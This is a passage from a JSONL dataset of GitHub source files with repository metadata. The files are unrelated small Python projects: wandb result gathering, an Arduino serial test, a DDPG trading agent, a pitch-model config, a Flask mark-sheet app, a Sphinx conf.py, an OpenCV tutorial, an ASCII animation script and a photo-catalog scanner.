\"_runtime\",\n \"compression/bpp\",\n # \"train/lambda_01\",\n ]\n config_keys = [\n \"task_type\",\n \"model.hidden_dims\",\n \"train.image_id\",\n \"train.target_bpp\",\n ]\n\n # Use wandb api\n metrics_without_gated = get_metrics(filters, metric_keys, config_keys)\n # Delete gated runs as they are gathered twice\n mask = metrics_without_gated[\"task_type\"] != \"gated\"\n metrics_without_gated = metrics_without_gated.loc[mask]\n\n metric_keys += [\"train/lambda_01\"]\n gated_metrics = get_metrics(filters, metric_keys, config_keys)\n\n # Merge gated and non-gated metrics\n metrics = pd.concat([metrics_without_gated, gated_metrics])\n\n # Save as csv\n try:\n os.makedirs(foldername)\n except FileExistsError:\n pass\n\n filename = foldername + \"image_\" + str(image_id).zfill(2)\n metrics.to_csv(filename + \".csv\")\n\n\nif __name__ == \"__main__\":\n\n image_ids = range(1, 24 + 1)\n\n # ---------------------------------- TBPP and Baseline Arch. Uncomment one\n # # 10x40 -> baseline bpp = 0.6\n # hidden_dims = 10 * [40]\n # final_bpp = 0.6\n\n # # 10x28 -> baseline bpp = 0.3\n # hidden_dims = 10 * [28]\n # final_bpp = 0.3\n\n # # 5x30 -> baseline bpp = 0.15\n hidden_dims = 5 * [30]\n final_bpp = 0.15\n\n # # 5x20 -> baseline bpp = 0.07\n # hidden_dims = 5 * [20]\n # final_bpp = 0.07\n\n foldername = \"get_results/workshop/dataframes/bpp_\" + str(final_bpp) + \"/\"\n\n aux_main = partial(\n main,\n final_bpp=final_bpp,\n baseline_hidden_dims=hidden_dims,\n foldername=foldername,\n )\n\n with Pool(5) as p:\n print(p.map(aux_main, image_ids))\n\n # for image_id in image_ids:\n # main(image_id, final_bpp, hidden_dims, foldername)\n","repo_name":"juan43ramirez/l0onie","sub_path":"get_results/workshop/wandb_utils.py","file_name":"wandb_utils.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"32939444213","text":"# This connects UDP to Unity and Serial to Python\nimport serial.tools.list_ports\nimport time\nimport serial\nimport socket\n\n\nlocalIP = \"127.0.0.1\"\nlocalPort = 5500\nbufferSize = 1024\n\nmsgFromServer = \"Hello UDP Client\"\nbytesToSend = str.encode(msgFromServer)\n\n# Arduino Setup\n\n\nports = list(serial.tools.list_ports.comports())\narduino_port_name = \"\"\nfor p in ports:\n if(\"Arduino\" in str(p)):\n arduino_port_name = str(p).split(\" -\")[0]\n\n# If Arduino is not found, don't do any actions\nif(arduino_port_name == \"\"):\n print(\"\\n\\nError : Haptic Glove not found. Please connect.\")\nelse:\n print(\"\\n\\nConnected to Haptic Glove on port \"+arduino_port_name)\n\n\n# Importing Libraries\narduino = serial.Serial(port=arduino_port_name,\n baudrate=115200, timeout=.1)\n\n\ndef write_read(x):\n arduino.write(bytes(x+'\\n', 'utf-8'))\n time.sleep(0.05)\n data = arduino.readline()\n return data\n\n\nwhile True:\n num = input(\"Enter a number: \") # Taking input from user\n value = write_read(num)\n print(value) # printing the value\n","repo_name":"Pi-31415/Arduino-Haptic-Motor","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18543075317","text":"import os\nimport shutil\nimport tensorflow as tf\nimport numpy as np\nfrom tgym.envs import SpreadTrading\n\n\nnp.random.seed(1)\ntf.set_random_seed(1)\n\nMAX_EPISODES = 600\nMAX_EP_STEPS = 399\nLR_A = 1e-3 # learning rate for actor\nLR_C = 1e-3 # learning rate for critic\nGAMMA = 0.9 # reward discount\nREPLACE_ITER_A = 60\nREPLACE_ITER_C = 60\nMEMORY_CAPACITY = 5000\nBATCH_SIZE = 16\nVAR_MIN = 0.1\nRENDER = True\nLOAD = False\n\n\n\n\nclass Actor(object):\n def __init__(self, sess, action_dim, learning_rate, t_replace_iter):\n self.sess = sess\n self.a_dim = action_dim\n #self.action_bound = action_bound\n self.lr = learning_rate\n self.t_replace_iter = t_replace_iter\n self.t_replace_counter = 0\n\n with tf.variable_scope('Actor'):\n # input s, output a\n self.a = self._build_net(S, scope='eval_net', trainable=True)\n\n # input s_, output a, get a_ for critic\n self.a_ = self._build_net(S_, scope='target_net', trainable=False)\n\n self.e_params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='Actor/eval_net')\n self.t_params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='Actor/target_net')\n\n def _build_net(self, s, scope, trainable):\n with tf.variable_scope(scope):\n init_w = tf.contrib.layers.xavier_initializer()\n init_b = tf.constant_initializer(0.005)\n net = tf.layers.dense(s, 200, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l1',\n trainable=trainable)\n net = tf.layers.dense(net, 128, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l2',\n trainable=trainable)\n net = tf.layers.dense(net, 64, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l3',\n trainable=trainable)\n net = tf.layers.dense(net, 32, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l4',\n trainable=trainable)\n net = tf.layers.dense(net, 16, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l5',\n trainable=trainable)\n with tf.variable_scope('a'):\n actions = tf.layers.dense(net, self.a_dim, activation=tf.nn.tanh, kernel_initializer=init_w, \n name='a', trainable=trainable)\n #scaled_a = tf.multiply(actions, self.action_bound, name='scaled_a') # Scale output to -action_bound to action_bound\n return actions\n\n def learn(self, s): # batch update\n self.sess.run(self.train_op, feed_dict={S: s})\n if self.t_replace_counter % self.t_replace_iter == 0:\n self.sess.run([tf.assign(t, e) for t, e in zip(self.t_params, self.e_params)])\n self.t_replace_counter += 1\n\n def choose_action(self, s):\n action = np.zeros(self.a_dim)\n s = s[np.newaxis, :] # single state\n act_values = self.sess.run(self.a, feed_dict={S: s})[0]\n #print(\"===============\")\n #print(\"act_values: \", act_values)\n #print(np.argmax(act_values))\n #print(\"action: \", s)\n #print(\"===============\")\n action[np.argmax(act_values)] = 1\n #print(\"action: \", action)\n #print(\"===============\")\n return action # single action\n\n def add_grad_to_graph(self, a_grads):\n with tf.variable_scope('policy_grads'):\n self.policy_grads = tf.gradients(ys=self.a, xs=self.e_params, grad_ys=a_grads)\n\n with tf.variable_scope('A_train'):\n #opt = tf.train.RMSPropOptimizer(-self.lr) # (- learning rate) for ascent policy\n opt = tf.train.AdamOptimizer(-self.lr)\n self.train_op = opt.apply_gradients(zip(self.policy_grads, self.e_params))\n\n\nclass Critic(object):\n def __init__(self, sess, state_dim, action_dim, learning_rate, gamma, t_replace_iter, a, a_):\n self.sess = sess\n self.s_dim = state_dim\n self.a_dim = action_dim\n self.lr = learning_rate\n self.gamma = gamma\n self.t_replace_iter = t_replace_iter\n self.t_replace_counter = 0\n\n with tf.variable_scope('Critic'):\n # Input (s, a), output q\n self.a = a\n self.q = self._build_net(S, self.a, 'eval_net', trainable=True)\n\n # Input (s_, a_), output q_ for q_target\n self.q_ = self._build_net(S_, a_, 'target_net', trainable=False) # target_q is based on a_ from Actor's target_net\n\n self.e_params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='Critic/eval_net')\n self.t_params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='Critic/target_net')\n\n with tf.variable_scope('target_q'):\n self.target_q = R + self.gamma * self.q_\n\n with tf.variable_scope('TD_error'):\n self.loss = tf.reduce_mean(tf.squared_difference(self.target_q, self.q))\n\n with tf.variable_scope('C_train'):\n #self.train_op = tf.train.RMSPropOptimizer(self.lr).minimize(self.loss)\n self.train_op = tf.train.AdamOptimizer(self.lr).minimize(self.loss)\n\t\t\t\n with tf.variable_scope('a_grad'):\n self.a_grads = tf.gradients(self.q, a)[0] # tensor of gradients of each sample (None, a_dim)\n\n def _build_net(self, s, a, scope, trainable):\n with tf.variable_scope(scope):\n init_w = tf.contrib.layers.xavier_initializer()\n init_b = tf.constant_initializer(0.001)\n\n with tf.variable_scope('l1'):\n n_l1 = 200\n w1_s = tf.get_variable('w1_s', [self.s_dim, n_l1], initializer=init_w, trainable=trainable)\n w1_a = tf.get_variable('w1_a', [self.a_dim, n_l1], initializer=init_w, trainable=trainable)\n b1 = tf.get_variable('b1', [1, n_l1], initializer=init_b, trainable=trainable)\n net = tf.nn.relu6(tf.matmul(s, w1_s) + tf.matmul(a, w1_a) + b1)\n net = tf.layers.dense(net, 200, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l2',\n trainable=trainable)\n net = tf.layers.dense(net, 128, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l3',\n trainable=trainable)\n net = tf.layers.dense(net, 64, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l4',\n trainable=trainable)\n net = tf.layers.dense(net, 32, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l5',\n trainable=trainable)\n net = tf.layers.dense(net, 16, activation=tf.nn.tanh,\n kernel_initializer=init_w, bias_initializer=init_b, name='l6',\n trainable=trainable)\n with tf.variable_scope('q'):\n q = tf.layers.dense(net, 1, kernel_initializer=init_w, bias_initializer=init_b, trainable=trainable) # Q(s,a)\n return q\n\n def learn(self, s, a, r, s_):\n self.sess.run(self.train_op, feed_dict={S: s, self.a: a, R: r, S_: s_})\n if self.t_replace_counter % self.t_replace_iter == 0:\n self.sess.run([tf.assign(t, e) for t, e in zip(self.t_params, self.e_params)])\n self.t_replace_counter += 1\n\n\nclass Memory(object):\n def __init__(self, capacity, dims):\n self.capacity = capacity\n self.data = np.zeros((capacity, dims))\n self.pointer = 0\n\n def store_transition(self, s, a, r, s_):\n transition = np.hstack((s, a, [r], s_))\n index = self.pointer % self.capacity # replace the old memory with new memory\n self.data[index, :] = transition\n self.pointer += 1\n\n def sample(self, n):\n assert self.pointer >= self.capacity, 'Memory has not been fulfilled'\n indices = np.random.choice(self.capacity, size=n)\n return self.data[indices, :]\n\nclass data_group (object):\n def __init__(self, DGenerator):\n self._DGenerator = DGenerator\n self.ss = []\n\t\t\n def DGroup(self, s_):\n try:\n self.ss = self._DGenerator.next()\n except StopIteration:\n pass\n #print(\"selfss: \", self.ss)\n s_ = np.hstack((self.ss,s_))\n\n return s_\n \n\t\t\nif __name__ == \"__main__\":\n\n from tgym.envs import SpreadTrading\n from tgym.gens.csvstream import CSVStreamer\n #from tgym.gens.deterministic import WavySignal\n from test import get_CSV_data\n\n var = 2.\n #generator = CSVStreamer(filename='./test_4.csv')\n #other_data = CSVStreamer(filename='./test_5.csv')\n generator = get_CSV_data(filename='./test_4.csv')\n\t#generator = WavySignal(period_1=25, period_2=50, epsilon=-0.5) \n trading_fee = .005\n time_fee = 0\n history_length = 1\n\n environment = SpreadTrading(spread_coefficients=[1],\n\t\t\t\t\t\t\t\tdata_generator=generator,\n\t\t\t\t\t\t\t\ttrading_fee=trading_fee,\n\t\t\t\t\t\t\t\ttime_fee=time_fee,\n\t\t\t\t\t\t\t\thistory_length=history_length)\n #OD = data_group(other_data)\n\t#print(\"=============\")\n #print(\"s: \", generator.next())\n #print(\"=============\")\n #s = environment.reset()\t\t\t\t\t\t\t\n #state_size = len(s)\n #action_size = len(SpreadTrading._actions)\n state_size = 6\n action_size = 3\n #print(\"=============\")\n #print(\"state_size: \", state_size)\n #print(\"action_size: \", action_size)\n #print(\"=============\")\n\t\n # all placeholder for tf\n with tf.name_scope('S'):\n S = tf.placeholder(tf.float32, shape=[None, state_size], name='s')\n with tf.name_scope('R'):\n R = tf.placeholder(tf.float32, [None, 1], name='r')\n with tf.name_scope('S_'):\n S_ = tf.placeholder(tf.float32, shape=[None, state_size], name='s_')\n\t\n sess = tf.Session()\n\n # Create actor and critic.\n actor = Actor(sess, action_size, LR_A, REPLACE_ITER_A)\n critic = Critic(sess, state_size, action_size, LR_C, GAMMA, REPLACE_ITER_C, actor.a, actor.a_)\n actor.add_grad_to_graph(critic.a_grads)\n\n M = Memory(MEMORY_CAPACITY, dims=2 * state_size + action_size + 1)\n\n sess.run(tf.global_variables_initializer())\n\n for i in range(171):\n s = environment.reset()\n #s = OD.DGroup(s)\n ep_reward = 0\n #print(\"=============\")\n #print(\"s: \", s)\n #print(\"=============\")\n for j in range(3443):\n a = actor.choose_action(s)\n #print(\"=============\")\n #print(\"s: \", s, \" --- \", j)\n #print(\"=============\")\n s_, r, done, _ = environment.step(a)\n\n #s_ = OD.DGroup(s_)\n #print(\"=============\")\n #print(\"s_: \", s_, \" ---- \", j)\n #print(\"=============\")\n\n M.store_transition(s, a, r, s_)\n\t\n if M.pointer > MEMORY_CAPACITY:\n var = max([var*.9999, VAR_MIN]) # decay the action randomness\n b_M = M.sample(BATCH_SIZE)\n b_s = b_M[:, :state_size]\n b_a = b_M[:, state_size: state_size + action_size]\n b_r = b_M[:, -state_size - 1: -state_size]\n b_s_ = b_M[:, -state_size:]\n\n critic.learn(b_s, b_a, b_r, b_s_)\n actor.learn(b_s)\t\n\n s = s_\n ep_reward += r\n \n if(i>20):\n environment.render()\n\t\t\t\n if j == MAX_EP_STEPS-1:\n # if done:\n result = '| done' if done else '| ----'\n print('Ep:', i,\n result,\n '| R: %i' % int(ep_reward),\n '| Explore: %.2f' % var,\n )\n\n","repo_name":"TrunkingW/Reinforcement_Learning","sub_path":"RL_Stock/NNTransplant.py","file_name":"NNTransplant.py","file_ext":"py","file_size_in_byte":12185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13893542195","text":"import torchcrepe\n\nMODULE = 'penn'\n\n# Configuration name\n# Note - We're not actually training torchcrepe. We only use this for\n# evaluation, and only use the FMIN in order to precisely align\n# predictions with ground truth pitch bins. The other arguments are\n# for completeness. The public crepe (and torchcrepe) model was trained\n# on a set of six datasets, five of which are not considered in the\n# current project.\nCONFIG = 'torchcrepe'\n\n# Batch size\nBATCH_SIZE = 32\n\n# Width of a pitch bin\nCENTS_PER_BIN = 20. # cents\n\n# The decoder to use for postprocessing\nDECODER = 'argmax'\n\n# The dropout rate. Set to None to turn off dropout.\nDROPOUT = .25\n\n# Whether to stop training when validation loss stops improving\nEARLY_STOPPING = True\n\n# Exactly align pitch bins\nFMIN = torchcrepe.convert.cents_to_frequency(1997.3794084376191)\n\n# Distance between adjacent frames\nHOPSIZE = 160 # samples\n\n# Number of steps between logging to Tensorboard\nLOG_INTERVAL = 500 # steps\n\n# Loss function\nLOSS = 'binary_cross_entropy'\n\n# The pitch estimation method to use\nMETHOD = 'torchcrepe'\n\n# The name of the model to use for training\nMODEL = 'crepe'\n\n# Type of model normalization\nNORMALIZATION = 'batch'\n\n# Whether to peak-normalize CREPE input audio\nNORMALIZE_INPUT = True\n\n# Number of pitch bins to predict\nPITCH_BINS = 360\n\n# Audio sample rate\nSAMPLE_RATE = 16000 # hz\n\n# Whether to only use voiced start frames\nVOICED_ONLY = True\n","repo_name":"interactiveaudiolab/penn","sub_path":"config/torchcrepe.py","file_name":"torchcrepe.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"60"} +{"seq_id":"2093666204","text":"from database import subject_and_mark, exam_sequence, school_information, student_information, CREUD\nfrom database_head import app, db\nfrom flask import render_template, redirect, url_for, request\nimport json\n\napp.jinja_env.add_extension('jinja2.ext.loopcontrols')\n\n\n@app.route(\"//\")\ndef hope(clas, seq):\n # print('clas:::::',clas)\n marks = subject_and_mark.get_class_with_results(clas, seq)\n if(marks):\n a = {}\n coef = 1\n staff = \"//\"\n for student_m in marks:\n a[student_m.student_name] = []\n coef = student_m.coefficient\n staff = student_m.staff_name\n for student_m in marks:\n a[student_m.student_name].append(student_m.subject.upper().strip())\n\n student_personal_subject_dic = a\n # print(student_personal_subject_dic)\n # sequence = exam_sequence.get_exam_sequence_from_database()\n students_in_class = student_information.get_students_in_a_class(clas)\n # print('student', school_information.change_subjects_of_a_class(clas).subject_thought.upper())\n subject = sorted(json.loads(school_information.change_subjects_of_a_class(clas).subject_thought))\n new_subject = []\n for i in subject:\n new_subject.append(i.upper())\n subject = new_subject\n # print(marks)\n\n return render_template(\"admin_correction_sheet.html\", seq=seq, marks=marks, spsd=student_personal_subject_dic,\n subjects=subject, students=students_in_class, clas=clas, coef=coef, staff=staff)\n else:\n return \"nothing present for you yet\"\n\n\n@app.route(\"/marksheet///\", methods=[\"POST\"])\ndef marksheet(clas, seq, coef):\n student_class = student_information.get_students_in_a_class(clas)\n subjects = sorted(json.loads(school_information.change_subjects_of_a_class(clas).subject_thought))\n\n for student in student_class:\n student_name = request.form[\"%s\" % student.student_name]\n for subject in subjects:\n student_mark = request.form[\"%s%s%s\" % (student_name.upper(), subject.upper(), seq)]\n if (student_mark != \"\"):\n # print(student_name, \" \", subject, \" \", student_mark)\n new_mark = subject_and_mark.get_class_subject_sequence_student(clas=clas, sequence=seq, subject=subject, name=student_name)\n if new_mark:\n new_mark.mark = student_mark\n db.session.commit()\n else:\n staff_group = subject_and_mark.get_class_and_subject_and_sequence_list(clas=clas,sequence=seq,subject=subject)\n # test = subject_and_mark.get_class_and_subject_and_sequence_name(clas=clas, sequence=seq, subject=subject,name=\"john Paul Ewo\")\n # print(\"test::\",test)\n print(\"staff_group::\",staff_group)\n if len(staff_group)==0:\n for i in range(1, 5):\n staff_group = subject_and_mark.get_class_and_subject_and_sequence_list(clas=clas, sequence=i, subject=subject)\n if len(staff_group) != 0:\n break\n elif i == 4:\n return \"input your mark from your personal site\"\n\n staff = staff_group[0].staff_name\n # if subject == \"Mathematics\":\n # staff = \"noubissie\"\n save = subject_and_mark(student_class=clas, student_name=student_name, sequence=seq,\n staff_name=staff, subject=subject, mark=student_mark, coefficient=coef,\n competence=\"//\")\n CREUD.save_to_database(save)\n else:\n pass\n # print(f\"{subject} ,is not available with mark {student_name}\")\n\n marks = subject_and_mark.get_class_with_results(clas, seq)\n a = {}\n for student_m in marks:\n a[student_m.student_name] = []\n for student_m in marks:\n a[student_m.student_name].append(student_m.subject.upper().strip())\n\n student_personal_subject_dic = a\n sequence = exam_sequence.get_exam_sequence_from_database()\n students_in_class = student_information.get_students_in_a_class(clas)\n\n new_subject = []\n for i in subjects:\n new_subject.append(i.upper())\n subject1 = new_subject\n\n return render_template(\"correction.html\", seq=seq, marks=marks, spsd=student_personal_subject_dic, subjects=subject1,\n students=students_in_class, clas=clas)\n\n\nif __name__ == \"__main__\":\n\n app.run(host=\"127.0.0.1\", port=8080, debug=True)\n","repo_name":"Noubissie/pythonsms","sub_path":"recard card complete/correction.py","file_name":"correction.py","file_ext":"py","file_size_in_byte":4730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"44739261190","text":"from __future__ import annotations\n\nimport importlib.metadata\nimport urllib.request\n\nimport lxml\nfrom docutils.nodes import Text, reference\nfrom packaging.version import Version, parse\nfrom sphinx.addnodes import pending_xref\nfrom sphinx.application import Sphinx\nfrom sphinx.environment import BuildEnvironment\nfrom sphinx.errors import ExtensionError\n\nextensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode', 'sphinx.ext.intersphinx']\n\nintersphinx_mapping = {'python': ('https://docs.python.org/3/', None)}\n\ntemplates_path = ['_templates']\nsource_suffix = '.rst'\nmaster_doc = 'index'\n\nproject = u'python-xmlsec'\ncopyright = u'2020, Oleg Hoefling ' # noqa: A001\nauthor = u'Bulat Gaifullin '\nrelease = importlib.metadata.version('xmlsec')\nparsed: Version = parse(release)\nversion = '{}.{}'.format(parsed.major, parsed.minor)\n\nexclude_patterns: list[str] = []\npygments_style = 'sphinx'\ntodo_include_todos = False\n\nhtml_theme = 'furo'\nhtml_static_path: list[str] = []\nhtmlhelp_basename = 'python-xmlsecdoc'\n\nlatex_elements: dict[str, str] = {}\nlatex_documents = [\n (\n master_doc,\n 'python-xmlsec.tex',\n u'python-xmlsec Documentation',\n u'Bulat Gaifullin \\\\textless{}gaifullinbf@gmail.com\\\\textgreater{}',\n 'manual',\n )\n]\n\nman_pages = [(master_doc, 'python-xmlsec', u'python-xmlsec Documentation', [author], 1)]\n\ntexinfo_documents = [\n (\n master_doc,\n 'python-xmlsec',\n u'python-xmlsec Documentation',\n author,\n 'python-xmlsec',\n 'One line description of project.',\n 'Miscellaneous',\n )\n]\n\nautodoc_member_order = 'groupwise'\nautodoc_docstring_signature = True\n\n\nrst_prolog = '''\n.. role:: xml(code)\n :language: xml\n'''\n\n# LXML crossref'ing stuff:\n# LXML doesn't have an intersphinx docs,\n# so we link to lxml.etree._Element explicitly\nlxml_element_cls_doc_uri = 'https://lxml.de/api/lxml.etree._Element-class.html'\n\n\ndef lxml_element_doc_reference(app: Sphinx, env: BuildEnvironment, node: pending_xref, contnode: Text) -> reference:\n \"\"\"\n Handle a missing reference only if it is a ``lxml.etree._Element`` ref.\n\n We handle only :class:`lxml.etree._Element` and :class:`~lxml.etree._Element` nodes.\n \"\"\"\n if (\n node.get('reftype', None) == 'class'\n and node.get('reftarget', None) == 'lxml.etree._Element'\n and contnode.astext() in ('lxml.etree._Element', '_Element')\n ):\n reftitle = '(in lxml v{})'.format(lxml.__version__) # type: ignore[attr-defined]\n newnode = reference('', '', internal=False, refuri=lxml_element_cls_doc_uri, reftitle=reftitle)\n newnode.append(contnode)\n return newnode\n\n\ndef setup(app: Sphinx) -> None:\n # first, check whether the doc URL is still valid\n if urllib.request.urlopen(lxml_element_cls_doc_uri).getcode() != 200:\n raise ExtensionError('URL to `lxml.etree._Element` docs is not accesible.')\n app.connect('missing-reference', lxml_element_doc_reference)\n","repo_name":"xmlsec/python-xmlsec","sub_path":"doc/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"60"} +{"seq_id":"6058728824","text":"# -- coding: utf-8 --\n\n__author__ = 'amryfitra'\n\nimport numpy as np\nimport argparse\nimport cv2\n\nimport imutils\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True, help=\"Path to image\")\nargs = vars(ap.parse_args())\n\nimg = cv2.imread(args[\"image\"])\ncv2.imshow(\"Original image\", img)\n\n# images are NumPy arrays, stored as unsigned 8 bit integers -- this\n# that the values of our pixels will be in the range [0, 255]; when\n# using functions like cv2.add and cv2.subtract, values will be clipped\n# to this range, even if the added or subtracted values fall outside the\n# range of [0, 255]. Check out an example:\nprint(\"max of 255: {}\".format(cv2.add(np.uint8([200]), np.uint8([100]))))\nprint(\"min of 0: {}\".format(cv2.subtract(np.uint8([50]), np.uint8([100]))))\n\n\n# NOTE: if you use NumPy arithmetic operations on these arrays, the value\n# will be modulos (wrap around) instead of being clipped to the [0, 255]\n# range. This is important to keep in mind when working with images.\nprint(\"wrap around: {}\".format(np.uint8([200]) + np.uint8([100])))\nprint(\"wrap around: {}\".format(np.uint8([50]) - np.uint8([100])))\n\n# let's increase the intensity of all pixels in our image by 100 -- we\n# accomplish this by constructing a NumPy array that is the same size of\n# our matrix (filled with ones) and the multiplying it by 100 to create an\n# array filled with 100's, then we simply add the images together; notice\n# how the image is \"brighter\"\nM = np.ones(img.shape, dtype=np.uint8) * 100\nadded = cv2.add(img, M)\ncv2.imshow(\"Added\", added)\n\n# similarly, we can subtract 50 from all pixels in our image and make it\n# darker\nM = np.ones(img.shape, dtype=np.uint8) * 50\nsubstracted = cv2.subtract(img, M)\ncv2.imshow(\"Substracted\", substracted)\n\ncv2.waitKey(0)","repo_name":"amryamanah/pyimagesearchguru","sub_path":"Month1-ImageBasic/Mod1.4BasicImageProcessing/mod1.4.6Arith.py","file_name":"mod1.4.6Arith.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"60"} +{"seq_id":"22029003273","text":"import time\r\n\r\ndef screenSetUp(): #makes sure terminal is big enough for ASCII art\r\n print(\"1\" * 125)\r\n for x in range(1, 50):\r\n print(\"\")\r\n x = input(\"Resize terminal so: \\n 1. You can see this entire message\\n 2. You can see the numbers above\\n 3. All those numbers are on the same line\\nThen press Enter\")\r\n animation()\r\n\r\ndef animation(): #plays ASCII art animation\r\n lyricNum = 1\r\n while True:\r\n for frameNum in range(1,51):\r\n frame = open(\"Frames/\"+str(frameNum)+\".txt\", \"r\")\r\n lyric = open(\"Lyrics/\"+str(lyricNum)+\".txt\", \"r\")\r\n print(frame.read())\r\n print(lyric.read())\r\n frame.close\r\n lyric.close\r\n time.sleep(0.0417)\r\n if lyricNum < 7:\r\n lyricNum += 1\r\n else:\r\n lyricNum = 1\r\n\r\nscreenSetUp()\r\n","repo_name":"DataGraph1/RickRoll-ASCIIart","sub_path":"Script.py","file_name":"Script.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"23917222034","text":"import os\nimport re\nfrom typing import List, Generator\nimport reverse_geocoder\nimport geopy\nimport geopy.exc\n\nfrom tools import Constants, get_month_by_number\nfrom data.factory import Factory, FactoryError, FactoryZeroFileSizeError\nfrom data.entry import Entry\n\n\nclass Folder:\n \"\"\"Class to scan a directory and return a list of entries, either image or video\"\"\"\n __file_list: List[Entry]\n __invalid_types_found: set\n __valid_types_found: set\n geo: geopy.geocoders.osm.Nominatim = geopy.geocoders.Nominatim(user_agent=\"my_catalog\")\n __name_date: re.Pattern\n __name_date2: re.Pattern\n __path_date: re.Pattern\n\n def __init__(self):\n self.__file_list = []\n self.__invalid_types_found = set()\n self.__valid_types_found = set()\n if not hasattr(type(self), \"__name_date\"):\n type(self).__name_date = re.compile('.*(?P2[0-2]\\d\\d)(?P[0-1]\\d)(?P[0-3]\\d).*')\n type(self).__name_date2 = re.compile('.*(?P2[0-2]\\d\\d)-(?P[0-1]\\d)-(?P[0-3]\\d).*')\n type(self).__path_date = re.compile('.*(?P2[0-2]\\d\\d)/(?P[0-1]\\d)/(?P[0-3]\\d).*')\n\n def read(self, directory_name: str) -> None:\n \"\"\"Read from a given directory all image and video files.\n The result can be retrieved as a list of data.entry objects,\n as a list of dictionary objects or as the generator with all entries.\n Entries are images or videos, according to data.image and data.video\n\n :param str directory_name: Name of the full path of the directory to scan.\n \"\"\"\n if not os.path.isdir(directory_name):\n raise NotADirectoryError(directory_name + \" is not a directory!\")\n self.__file_list.clear()\n\n # scan the directory: fetch all data for files\n with os.scandir(directory_name) as iterator:\n for item in iterator:\n if not item.name.startswith('.') and item.is_file():\n self.__add_entry(item.path)\n\n def __add_entry(self, path: str) -> None:\n \"\"\"Adding an entry based on the path, internal method. Will add to valid or invalid sets the type at hand\"\"\"\n try:\n item = Factory.from_path(path)\n self.__file_list.append(item)\n self.__valid_types_found.add(item.type)\n except FactoryError:\n self.__invalid_types_found.add(os.path.splitext(path.lower())[1])\n except FactoryZeroFileSizeError:\n pass # ignore files of zero size\n\n def dbox_stream(self, iterable) -> None:\n \"\"\"Read from an iterator. We expect each element to be already being an entry that we can add to\n the file list\"\"\"\n count = 0\n print(\"Reading ..\", end='', flush=True)\n for obj in iterable:\n count += 1\n try:\n item = Factory.from_dropbox(obj)\n self.__file_list.append(item)\n self.__valid_types_found.add(item.type)\n except FactoryError:\n self.__invalid_types_found.add(os.path.splitext(item.path.lower())[1])\n except FactoryZeroFileSizeError:\n pass # ignore files of zero size\n if count % 10 == 0:\n print(\".\", end='', flush=True)\n print(f\"done reading {count} files\")\n\n @property\n def invalid_types(self) -> set:\n \"\"\"Return the set of invalid types found, ie files that have not been processed\"\"\"\n return self.__invalid_types_found\n\n @property\n def valid_types(self) -> set:\n \"\"\"Return the set of valid types found, ie file types that have been processed\"\"\"\n return self.__valid_types_found\n\n @property\n def file_list(self) -> List[Entry]:\n \"\"\"Return the list of entries, these will be either Video or Image objects\"\"\"\n return self.__file_list\n\n @property\n def files(self) -> Generator:\n \"\"\"Return the list as a generator to be iterated through immediately\"\"\"\n return (\n entry\n for entry in self.__file_list\n )\n\n def file_list_as_dict(self) -> List[dict]:\n \"\"\"Return the list of entries as dictionary objects, to be used in JSON\"\"\"\n return [\n entry.to_dict()\n for entry in self.__file_list\n ]\n\n def drop_duplicates(self):\n \"\"\"If more than one file in the same directory has the same checksum, just remove duplicates from the list\"\"\"\n entry_list = dict()\n for entry in self.file_list:\n entry_list.setdefault(entry.checksum, []).append(entry)\n\n for h, item in entry_list.items():\n if len(item) > 1:\n for to_delete in item[1:]:\n self.__file_list.remove(to_delete)\n\n def save_paths(self, check: bool = False):\n \"\"\"Call the save_path method of :class:`Entry` for each entry in our file list.\"\"\"\n for entry in self.file_list:\n entry.save_path()\n entry.check_if_in_catalog = check\n\n def update_name_from_location(self):\n \"\"\"In the given list resolve the city and append the location city to the filename\"\"\"\n for entry in self.file_list:\n if entry.location:\n lat, lon = entry.location.split(',')\n default_city = Folder.clean_name(reverse_geocoder.search([(float(lat), float(lon))])[0]['name'])\n alt_city = []\n try:\n alt_city = Folder.geo.reverse(entry.location, timeout=60).address.split(', ')\n except geopy.exc.GeocoderTimedOut as e:\n print(f\"Timeout on GeoLookup for {entry.location} of {entry.name}. Found {default_city} already.\")\n raise FactoryError(\"Exiting.\")\n\n name, ext = os.path.splitext(entry.name)\n known_city = \"\"\n if len(alt_city) > 4:\n known_city = Folder.get_known_city(alt_city[-5])\n if not known_city and len(alt_city) > 5:\n known_city = Folder.get_known_city(alt_city[-6])\n if not known_city:\n known_city = Folder.get_known_city(default_city)\n if known_city:\n entry.name = name + ' ' + 